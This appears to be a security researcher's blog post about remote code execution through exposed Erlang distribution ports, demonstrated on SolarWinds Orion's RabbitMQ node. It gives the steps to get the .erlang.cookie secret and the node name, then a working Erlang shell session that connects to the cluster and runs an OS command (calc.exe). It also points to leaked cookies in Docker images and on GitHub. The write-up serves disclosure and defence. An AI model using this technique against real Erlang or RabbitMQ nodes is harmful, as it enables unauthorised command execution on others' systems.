Erlang is a programming language that I have tried to learn a few times in the past but never really dug in, that is, until recently.
Erlang is an interesting language because it has “built-in concurrency, distribution, and fault tolerance”. To me, this means that it does job queuing and distributed tasks right out of the gate.
A little bit of history
I first started digging into Erlang again from an attackers point of view at BSides Philadelphia 2016, where I talked about SolarWinds ORION. I was in the audience making last minute changes to my slides when I happened upon an “erlang-node” port (25672) listening. You can watch the video here (I’ve jumped ahead to the part about the Erlang port):
After I gave that talk, I asked around NoVA Hackers. Luckily one such individual did, and that’s why I love what NoVA Hackers has grown into, but this post isn’t about that.
With a little bit of back and forth with what I was trying to accomplish, we worked out the needed requirements for code execution.
Erlang uses “Nodes” to execution code. As far as I can tell (and I’ll probably be corrected) but you must run a node to execute any Erlang code, so everything written in Erlang (RabbitMQ, CouchDB, etc.) must be running a node. Erlang nodes are identified by their hostname. For my SolarWinds box, it’s
WIN-PM0ID6F0AHN. This is the most straightforward piece of information to acquire for the authenticated RCE.
The Erlang cookie SHOULD be the hardest to acquire. It’s essentially the shared secret password between nodes, and just a simple string. This cookie exists even if only a single node is spun up (such is the case for SolarWinds). It is most commonly stored in a file called
.erlang.cookie with nothing in the file other than the string. You can find it in home directories, userprofiles, project files and such. On Linux, it begining with the
. means that it’s automatically a “hidden” file, but on Windows it doesn’t mean much ;). RabbitMQ documents well where the key is located:
One Windows for Solar Winds it can be found in Program Data:
The Cluster Name
The cluster name is needed to join the cluster but this is more of a guessing game. However, luckily these are regularly named based on the service being offered. RabbitMQ in particular almost always has a cluster name of
The Node Port
This is actually pretty interesting that I haven’t dived into completely yet, but the port isn’t specified or default. There is some sort of discovery process so no matter the port the nodes are running on Erlang is able t find it. In the case of SolarWinds Orion’s RabbitMQ, its
25672 but I’ve seen erlang nodes on a number of other ports, usually particular to the project it’s being run for.
Remote Code Execution
apt install erlang gets you ready for exectuion. Once installed you need to put your
.erlang.cookie file in your home directory
~/. You also need to resolve the hostname (Node name) you wil be connecting to.
Then it’s just running a couple commands:
testis the node name you’ll be calling your attack box when connecting to the cluster
rabbitis the cluster name being connected to
WIN-PM0ID6F0AHNis the hostname I’m connecting to the cluster via
Start up Erlang with
erl -sname test:
root@kali:~# erl -sname test Erlang/OTP 18 [erts-18.104.22.168] [source] [64-bit] [async-threads:10] [kernel-poll:false] Eshell V22.214.171.124 (abort with ^G) (test@kali)1>
Connecting to the cluster (the period on the end of the commands important terminators):
(test@kali)1> net_kernel:connect('rabbit@WIN-PM0ID6F0AHN'). true
If you get a
true that means the connection was successful.
Code exeuction (starting calc of course):
(test@kali)2> erlang:spawn('rabbit@WIN-PM0ID6F0AHN',os,cmd,["calc.exe"]). <6867.30570.461>
And so, like any good code execution attack,
calc.exe is executed:
On Windows of course you can even do SMB shares:
Exiting the Erlang Shell is done with the init::stop function:
(test@kali)3> init:stop(). ok (test@kali)4> root@kali:~#
Warning: By running this code execution method you are running a node as well, as as long as you have the connection open, you can be exploited the same way you are exploiting the remote host.
The Bad, and the worse…
In many Docker instances the
.erlang.cookie file is statically assigned and easy to find in the code. This is incredibly dangerous to have a statically assigned Erlang cookie for anyone who uses your Docker image, however because Docker doesn’t automatically expose ports from the docker instance, this is actually a better scenario in many cases than running the erlang project without containers.
This is not always the case and just like private keys on github, really easy to find:
.erlang.cookie on Github:
Changing the Erlang Cookie is a pain, and usually very deep in the project or setup, so once you have the file, you have future proof code execution.